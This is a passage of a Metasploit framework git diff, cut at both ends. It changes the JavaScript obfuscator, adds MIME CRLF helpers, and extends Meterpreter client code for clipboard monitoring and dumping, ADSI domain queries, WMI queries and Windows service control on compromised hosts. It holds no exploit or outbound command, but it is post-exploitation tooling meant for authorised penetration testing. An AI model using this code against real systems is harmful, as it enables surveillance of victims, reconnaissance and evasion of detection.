+      js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "exec.js"))
+    end
+
+    ::Rex::Exploitation::ObfuscateJS.obfuscate(js)
+  end
+
 end
 end
 end
diff --git a/lib/rex/exploitation/js/network.rb b/lib/rex/exploitation/js/network.rb
index cb22211a1e..7869efbc4f 100644
--- a/lib/rex/exploitation/js/network.rb
+++ b/lib/rex/exploitation/js/network.rb
@@ -37,8 +37,8 @@ class Network
   # @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
   # @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
   #   defaults to true.
-  # @return [String] javascript code to perform a synchronous ajax request to the remote with
-  #   the data specified
+  # @return [String] javascript code to perform a synchronous or asynchronous ajax request to
+  #   the remote with the data specified.
   def self.ajax_post(opts={})
     should_obfuscate = opts.fetch(:obfuscate, true)
     js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_post.js"))
@@ -47,7 +47,7 @@ class Network
       js = ::Rex::Exploitation::ObfuscateJS.new(js,
         {
           'Symbols' => {
-            'Variables' => %w{ xmlHttp }
+            'Variables' => %w{ xmlHttp cb path data }
           }
         }).obfuscate
     end
diff --git a/lib/rex/exploitation/jsobfu.rb b/lib/rex/exploitation/jsobfu.rb
index 746206b455..c722e2749c 100644
--- a/lib/rex/exploitation/jsobfu.rb
+++ b/lib/rex/exploitation/jsobfu.rb
@@ -1,6 +1,7 @@
 # -*- coding: binary -*-
 
 require 'rex/text'
+require 'rex/random_identifier_generator'
 require 'rkelly'
 
 module Rex
@@ -47,6 +48,15 @@ module Exploitation
 #
 class JSObfu
 
+  # these keywords should never be used as a random var name
+  # source: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Reserved_Words
+  RESERVED_KEYWORDS = %w(
+    break case catch continue debugger default delete do else finally
+    for function if in instanceof new return switch this throw try
+    typeof var void while with class enum export extends import super
+    implements interface let package private protected public static yield
+  )
+
   #
   # Abstract Syntax Tree generated by RKelly::Parser#parse
   #
@@ -60,6 +70,11 @@ class JSObfu
     @funcs = {}
     @vars  = {}
     @debug = false
+    @rand_gen = Rex::RandomIdentifierGenerator.new(
+      :max_length => 15,
+      :first_char_set => Rex::Text::Alpha+"_$",
+      :char_set => Rex::Text::AlphaNumeric+"_$"
+    )
   end
 
   #
@@ -107,8 +122,23 @@ class JSObfu
     obfuscate_r(@ast)
   end
 
+  # @return [String] a unique random var name that is not a reserved keyword
+  def random_var_name
+    loop do
+      text = random_string
+      unless @vars.has_value?(text) or RESERVED_KEYWORDS.include?(text)
+        return text
+      end
+    end
+  end
+
 protected
 
+  # @return [String] a random string
+  def random_string
+    @rand_gen.generate
+  end
+
   #
   # Recursive method to obfuscate the given +ast+.
   #
@@ -146,20 +176,18 @@ protected
             end
           }
           n << '"'
-          node.name = n
+          node.instance_variable_set(:@name, n)
         end
 
       # Variables
       when ::RKelly::Nodes::VarDeclNode
         if @vars[node.name].nil?
-          #@vars[node.name] = "var_#{Rex::Text.rand_text_alpha(3+rand(12))}_#{node.name}"
-          @vars[node.name] = "#{Rex::Text.rand_text_alpha(3+rand(12))}"
+          @vars[node.name] = random_var_name
         end
         node.name = @vars[node.name]
       when ::RKelly::Nodes::ParameterNode
         if @vars[node.value].nil?
-          #@vars[node.value] = "param_#{Rex::Text.rand_text_alpha(3+rand(12))}_#{node.value}"
-          @vars[node.value] = "#{Rex::Text.rand_text_alpha(3+rand(12))}"
+          @vars[node.value] = random_var_name
         end
         node.value = @vars[node.value]
       when ::RKelly::Nodes::ResolveNode
@@ -181,8 +209,7 @@ protected
         # Functions can also act as objects, so store them in the vars
         # and the functions list so we can replace them in both places
         if @funcs[node.value].nil? and not @funcs.values.include?(node.value)
-          #@funcs[node.value] = "func_#{Rex::Text.rand_text_alpha(3+rand(12))}_#{node.value}"
-          @funcs[node.value] = "#{Rex::Text.rand_text_alpha(3+rand(12))}"
+          @funcs[node.value] = random_var_name
           if @vars[node.value].nil?
             @vars[node.value] = @funcs[node.value]
           end
diff --git a/lib/rex/mime/encoding.rb b/lib/rex/mime/encoding.rb
new file mode 100644
index 0000000000..d9805c00e1
--- /dev/null
+++ b/lib/rex/mime/encoding.rb
@@ -0,0 +1,17 @@
+# -*- coding: binary -*-
+module Rex
+module MIME
+# Set of helpers methods to deal with SMTP encoding related topics.
+module Encoding
+
+  # Enforces CRLF on the input data
+  #
+  # @param data [String] The data to CRLF enforce.
+  # @return [String] CRLF enforced data.
+  def force_crlf(data)
+    data.gsub("\r", '').gsub("\n", "\r\n")
+  end
+
+end
+end
+end
diff --git a/lib/rex/mime/message.rb b/lib/rex/mime/message.rb
index 668d1edf6f..c8f3467377 100644
--- a/lib/rex/mime/message.rb
+++ b/lib/rex/mime/message.rb
@@ -5,10 +5,14 @@ class Message
 
   require 'rex/mime/header'
   require 'rex/mime/part'
+  require 'rex/mime/encoding'
   require 'rex/text'
 
+  include Rex::MIME::Encoding
+
   attr_accessor :header, :parts, :bound, :content
 
+
   def initialize(data=nil)
     self.header = Rex::MIME::Header.new
     self.parts  = []
@@ -122,23 +126,22 @@ class Message
   end
 
   def to_s
-    msg = self.header.to_s + "\r\n"
+    msg = force_crlf(self.header.to_s + "\r\n")
 
-    if self.content and not self.content.empty?
-      msg << self.content + "\r\n"
+    unless self.content.blank?
+      msg << force_crlf(self.content + "\r\n")
     end
 
     self.parts.each do |part|
-      msg << "--" + self.bound + "\r\n"
-      msg << part.to_s + "\r\n"
+      msg << force_crlf("--" + self.bound + "\r\n")
+      msg << part.to_s
     end
 
     if self.parts.length > 0
-      msg << "--" + self.bound + "--\r\n"
+      msg << force_crlf("--" + self.bound + "--\r\n")
     end
 
-    # Force CRLF for SMTP compatibility
-    msg.gsub("\r", '').gsub("\n", "\r\n")
+    msg
   end
 
 end
diff --git a/lib/rex/mime/part.rb b/lib/rex/mime/part.rb
index 5f2acfb96e..40ddcdded7 100644
--- a/lib/rex/mime/part.rb
+++ b/lib/rex/mime/part.rb
@@ -4,6 +4,9 @@ module MIME
 class Part
 
   require 'rex/mime/header'
+  require 'rex/mime/encoding'
+
+  include Rex::MIME::Encoding
 
   attr_accessor :header, :content
 
@@ -13,7 +16,33 @@ class Part
   end
 
   def to_s
-    self.header.to_s + "\r\n" + self.content + "\r\n"
+    self.header.to_s + "\r\n" + content_encoded + "\r\n"
+  end
+
+  # Returns the part content with any necessary encoding or transformation
+  # applied.
+  #
+  # @return [String] Content with encoding or transformations applied.
+  def content_encoded
+    binary_content? ? content : force_crlf(content)
+  end
+
+  # Answers if the part content is binary.
+  #
+  # @return [Boolean] true if the part content is binary, false otherwise.
+  def binary_content?
+    transfer_encoding && transfer_encoding == 'binary'
+  end
+
+  # Returns the Content-Transfer-Encoding of the part.
+  #
+  # @returns [nil] if the part hasn't Content-Transfer-Encoding.
+  # @returns [String] The Content-Transfer-Encoding or the part.
+  def transfer_encoding
+    h = header.find('Content-Transfer-Encoding')
+    return nil if h.nil?
+
+    h[1]
   end
 
 end
diff --git a/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb b/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb
new file mode 100644
index 0000000000..d7a7db2409
--- /dev/null
+++ b/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb
@@ -0,0 +1,71 @@
+# -*- coding: binary -*-
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Extapi
+module Adsi
+
+###
+#
+# This meterpreter extension contains extended API functions for
+# querying and managing desktop windows.
+#
+###
+class Adsi
+
+  def initialize(client)
+    @client = client
+  end
+
+  #
+  # Perform a generic domain query against ADSI.
+  #
+  # @param domain_name [String] The FQDN of the target domain.
+  # @param filter [String] The filter to apply to the query in
+  #   LDAP format.
+  # @param max_results [Integer] The maximum number of results
+  #   to return.
+  # @param page_size [Integer] The size of the page of results
+  #   to return.
+  # @param fields [Array] Array of string fields to return for
+  #   each result found
+  #
+  # @returns [Hash] Array of field names with associated results.
+  #
+  def domain_query(domain_name, filter, max_results, page_size, fields)
+    request = Packet.create_request('extapi_adsi_domain_query')
+
+    request.add_tlv(TLV_TYPE_EXT_ADSI_DOMAIN, domain_name)
+    request.add_tlv(TLV_TYPE_EXT_ADSI_FILTER, filter)
+    request.add_tlv(TLV_TYPE_EXT_ADSI_MAXRESULTS, max_results)
+    request.add_tlv(TLV_TYPE_EXT_ADSI_PAGESIZE, page_size)
+
+    fields.each do |f|
+      request.add_tlv(TLV_TYPE_EXT_ADSI_FIELD, f)
+    end
+
+    response = client.send_request(request)
+
+    results = []
+    response.each(TLV_TYPE_EXT_ADSI_RESULT) { |r|
+      result = []
+      r.each(TLV_TYPE_EXT_ADSI_VALUE) { |v|
+        result << v.value
+      }
+      results << result
+    }
+
+    return {
+      :fields  => fields,
+      :results => results
+    }
+  end
+
+  attr_accessor :client
+
+end
+
+end; end; end; end; end; end
+
diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb
index e3c059f2b3..609f2ab5e4 100644
--- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb
+++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb
@@ -19,11 +19,11 @@ class Clipboard
     @client = client
   end
 
+  #
   # Get the target clipboard data in whichever format we can
   # (if it's supported).
+  #
   def get_data(download = false)
-    results = []
-
     request = Packet.create_request('extapi_clipboard_get_data')
 
     if download
@@ -32,45 +32,12 @@ class Clipboard
 
     response = client.send_request(request)
 
-    text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)
-
-    if text
-      results << {
-        :type => :text,
-        :data => text
-      }
-    end
-
-    files = []
-    response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f|
-      files << {
-        :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
-        :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
-      }
-    }
-
-    if files.length > 0
-      results << {
-        :type => :files,
-        :data => files
-      }
-    end
-
-    response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
-      if jpg
-        results << {
-          :type   => :jpg,
-          :width  => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
-          :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
-          :data   => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
-        }
-      end
-    end
-
-    return results
+    return parse_dump(response)
   end
 
+  #
   # Set the target clipboard data to a text value
+  #
   def set_text(text)
     request = Packet.create_request('extapi_clipboard_set_data')
 
@@ -81,8 +48,122 @@ class Clipboard
     return true
   end
 
+  #
+  # Start the clipboard monitor if it hasn't been started.
+  #
+  def monitor_start(opts)
+    request = Packet.create_request('extapi_clipboard_monitor_start')
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls])
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img])
+    return client.send_request(request)
+  end
+
+  #
+  # Pause the clipboard monitor if it's running.
+  #
+  def monitor_pause
+    request = Packet.create_request('extapi_clipboard_monitor_pause')
+    return client.send_request(request)
+  end
+
+  #
+  # Dump the conents of the clipboard monitor to the local machine.
+  #
+  def monitor_dump(opts)
+    pull_img = opts[:include_images]
+    purge = opts[:purge]
+    purge = true if purge.nil?
+
+    request = Packet.create_request('extapi_clipboard_monitor_dump')
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge)
+
+    response = client.send_request(request)
+
+    return parse_dump(response)
+  end
+
+  #
+  # Resume the clipboard monitor if it has been paused.
+  #
+  def monitor_resume
+    request = Packet.create_request('extapi_clipboard_monitor_resume')
+    return client.send_request(request)
+  end
+
+  #
+  # Purge the contents of the clipboard capture without downloading.
+  #
+  def monitor_purge
+    request = Packet.create_request('extapi_clipboard_monitor_purge')
+    return client.send_request(request)
+  end
+
+  #
+  # Stop the clipboard monitor and dump optionally it's contents.
+  #
+  def monitor_stop(opts)
+    dump = opts[:dump]
+    pull_img = opts[:include_images]
+
+    request = Packet.create_request('extapi_clipboard_monitor_stop')
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump)
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
+
+    response = client.send_request(request)
+    unless dump
+      return response
+    end
+
+    return parse_dump(response)
+  end
+
   attr_accessor :client
 
+private
+
+  def parse_dump(response)
+    result = {}
+
+    response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t|
+      ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
+      result[ts] ||= {}
+
+      # fat chance of someone adding two different bits of text to the
+      # clipboard at the same time
+      result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)
+    end
+
+    response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES) do |fs|
+      ts = fs.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
+      result[ts] ||= {}
+      result[ts]['Files'] ||= []
+      fs.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f|
+        result[ts]['Files'] << {
+          :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
+          :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
+        }
+      end
+    end
+
+    response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
+      if jpg
+        ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
+        result[ts] ||= {}
+
+        # same story with images, there's no way more than one can come
+        # through on the same timestamp with differences
+        result[ts]['Image'] = {
+          :width  => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
+          :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
+          :data   => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
+        }
+      end
+    end
+
+    return result
+  end
+
 end
 
 end; end; end; end; end; end
diff --git a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb
index af97be3e42..31a3cd45af 100644
--- a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb
+++ b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb
@@ -4,6 +4,8 @@ require 'rex/post/meterpreter/extensions/extapi/tlv'
 require 'rex/post/meterpreter/extensions/extapi/window/window'
 require 'rex/post/meterpreter/extensions/extapi/service/service'
 require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
+require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
+require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
 
 module Rex
 module Post
@@ -28,9 +30,11 @@ class Extapi < Extension
           'name' => 'extapi',
           'ext'  => ObjectAliases.new(
             {
-              'window'  => Rex::Post::Meterpreter::Extensions::Extapi::Window::Window.new(client),
-              'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client),
-              'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client)
+              'window'    => Rex::Post::Meterpreter::Extensions::Extapi::Window::Window.new(client),
+              'service'   => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client),
+              'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
+              'adsi'      => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
+              'wmi'       => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
             })
         },
       ])
diff --git a/lib/rex/post/meterpreter/extensions/extapi/service/service.rb b/lib/rex/post/meterpreter/extensions/extapi/service/service.rb
index 86fbc7d148..0318c1aeac 100644
--- a/lib/rex/post/meterpreter/extensions/extapi/service/service.rb
+++ b/lib/rex/post/meterpreter/extensions/extapi/service/service.rb
@@ -15,18 +15,26 @@ module Service
 ###
 class Service
 
+  SERVICE_OP_START   = 1
+  SERVICE_OP_PAUSE   = 2
+  SERVICE_OP_RESUME  = 3
+  SERVICE_OP_STOP    = 4
+  SERVICE_OP_RESTART = 5
+
   def initialize(client)
     @client = client
   end
 
+  #
   # Enumerate all the services on the target.
+  #
   def enumerate
     request = Packet.create_request('extapi_service_enum')
     response = client.send_request(request)
 
     services = []
 
-    response.each(TLV_TYPE_EXT_SERVICE_ENUM_GROUP) { |s|
+    response.each(TLV_TYPE_EXT_SERVICE_ENUM_GROUP) do |s|
       services << {
         :name         => s.get_tlv_value(TLV_TYPE_EXT_SERVICE_ENUM_NAME),
         :display      => s.get_tlv_value(TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME),
@@ -34,29 +42,59 @@ class Service
         :status       => s.get_tlv_value(TLV_TYPE_EXT_SERVICE_ENUM_STATUS),
         :interactive  => s.get_tlv_value(TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE)
       }
-    }
+    end
 
-    return services.sort_by { |s| s[:name].upcase }
+    services.sort_by { |s| s[:name].upcase }
   end
 
+  #
   # Query some detailed parameters about a particular service.
+  #
   def query(service_name)
     request = Packet.create_request('extapi_service_query')
     request.add_tlv(TLV_TYPE_EXT_SERVICE_ENUM_NAME, service_name)
 
     response = client.send_request(request)
 
-    detail = {
+    {
       :starttype   => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE),
       :display     => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME),
       :startname   => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME),
       :path        => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_PATH),
       :logroup     => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP),
       :interactive => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE),
-      :dacl        => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_DACL)
+      :dacl        => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_DACL),
+      :status      => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_STATUS)
     }
+  end
 
-    return detail
+  #
+  # Control a single service
+  #
+  def control(service_name, op)
+    if op.is_a? String
+      case op.strip.downcase
+      when "start"
+        op = SERVICE_OP_START
+      when "pause"
+        op = SERVICE_OP_PAUSE
+      when "resume"
+        op = SERVICE_OP_RESUME
+      when "stop"
+        op = SERVICE_OP_STOP
+      when "restart"
+        op = SERVICE_OP_RESTART
+      end
+    end
+
+    unless (op.is_a? Integer) && op >= SERVICE_OP_START && op <= SERVICE_OP_RESTART
+      raise ArgumentError, "Invalid operation: #{op}"
+    end
+
+    request = Packet.create_request('extapi_service_control')
+    request.add_tlv(TLV_TYPE_EXT_SERVICE_CTRL_NAME, service_name)
+    request.add_tlv(TLV_TYPE_EXT_SERVICE_CTRL_OP, op)
+    client.send_request(request)
   end
 
   attr_accessor :client
diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb
index 5c47c4905e..55ad544dc1 100644
--- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb
+++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb
@@ -27,19 +27,49 @@ TLV_TYPE_EXT_SERVICE_QUERY_PATH             = TLV_META_TYPE_STRING | (TLV_TYPE_E
 TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP   = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 24)
 TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE      = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 25)
 TLV_TYPE_EXT_SERVICE_QUERY_DACL             = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 26)
+TLV_TYPE_EXT_SERVICE_QUERY_STATUS           = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 27)
+
+TLV_TYPE_EXT_SERVICE_CTRL_NAME              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 28)
+TLV_TYPE_EXT_SERVICE_CTRL_OP                = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 29)
 
 TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD             = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35)
 
-TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT            = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP       = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38)
+
+TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT            = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT    = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
+
 TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE            = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
 TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME       = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42)
 TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE       = TLV_META_TYPE_QWORD  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES           = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 44)
 
 TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG       = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 45)
 TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX  = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 46)
 TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY  = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47)
 TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA  = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48)
 
+TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA     = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50)
+TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS        = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51)
+TLV_TYPE_EXT_CLIPBOARD_MON_DUMP             = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52)
+TLV_TYPE_EXT_CLIPBOARD_MON_PURGE            = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53)
+
+TLV_TYPE_EXT_ADSI_DOMAIN                    = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55)
+TLV_TYPE_EXT_ADSI_FILTER                    = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56)
+TLV_TYPE_EXT_ADSI_FIELD                     = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57)
+TLV_TYPE_EXT_ADSI_VALUE                     = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 58)
+TLV_TYPE_EXT_ADSI_RESULT                    = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 59)
+TLV_TYPE_EXT_ADSI_MAXRESULTS                = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 60)
+TLV_TYPE_EXT_ADSI_PAGESIZE                  = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 61)
+
+TLV_TYPE_EXT_WMI_DOMAIN                     = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 65)
+TLV_TYPE_EXT_WMI_QUERY                      = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 66)
+TLV_TYPE_EXT_WMI_FIELD                      = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 67)
+TLV_TYPE_EXT_WMI_VALUE                      = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 68)
+TLV_TYPE_EXT_WMI_FIELDS                     = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69)
+TLV_TYPE_EXT_WMI_VALUES                     = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70)
+TLV_TYPE_EXT_WMI_ERROR                      = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 71)
+
 end
 end
 end
diff --git a/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb b/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb
new file mode 100644
index 0000000000..c6351318bd
--- /dev/null
+++ b/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb
@@ -0,0 +1,75 @@
+# -*- coding: binary -*-
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Extapi
+module Wmi
+
+###
+#
+# This meterpreter extension contains extended API functions for
+# performing WMI queries.
+#
+###
+class Wmi
+
+  def initialize(client)
+    @client = client
+  end
+
+  #
+  # Perform a generic wmi query against the target machine.
+  #
+  # @param query [String] The WMI query string.
+  # @param root [String] Specify root to target, otherwise defaults
+  #   to 'root\cimv2'
+  #
+  # @returns [Hash] Array of field names with associated values.
+  #
+  def query(query, root = nil)
+    request = Packet.create_request('extapi_wmi_query')
+
+    request.add_tlv(TLV_TYPE_EXT_WMI_DOMAIN, root) unless root.blank?
+    request.add_tlv(TLV_TYPE_EXT_WMI_QUERY, query)
+
+    response = client.send_request(request)
+
+    # Bomb out with the right error messa
+    error_msg = response.get_tlv_value(TLV_TYPE_EXT_WMI_ERROR)
+    raise error_msg if error_msg
+
+    fields = []
+    fields_tlv = response.get_tlv(TLV_TYPE_EXT_WMI_FIELDS)
+
+    # If we didn't get any fields back, then we didn't get any results.
+    # The reason is because without results, we don't know which fields
+    # were requested in the first place
+    return nil unless fields_tlv
+
+    fields_tlv.each(TLV_TYPE_EXT_WMI_FIELD) { |f|
+      fields << f.value
+    }
+
+    values = []
+    response.each(TLV_TYPE_EXT_WMI_VALUES) { |r|
+      value = []
+      r.each(TLV_TYPE_EXT_WMI_VALUE) { |v|
+        value << v.value
+      }
+      values << value
+    }
+
+    return {
+      :fields  => fields,
+      :values => values
+    }
+  end
+
+  attr_accessor :client
+
+end
+
+end; end; end; end; end; end
+
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb
index d006221b30..70b1ef4d7e 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb
@@ -49,10 +49,9 @@ class Config
     get_interfaces().each(&block)
   end
 
-  #
   # Returns an array of network interfaces with each element.
   #
-  # being an Interface
+  # @return [Array<Interface>]
   def get_interfaces
     request = Packet.create_request('stdapi_net_config_get_interfaces')
     ifaces  = []
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb
index cb1d853bfd..dc653cac1b 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb
@@ -3668,11 +3668,11 @@ class Def_kernel32
     #	])
 
     dll.add_function( 'lstrlenA', 'DWORD',[
-      ["PCHAR","lpString","in"],
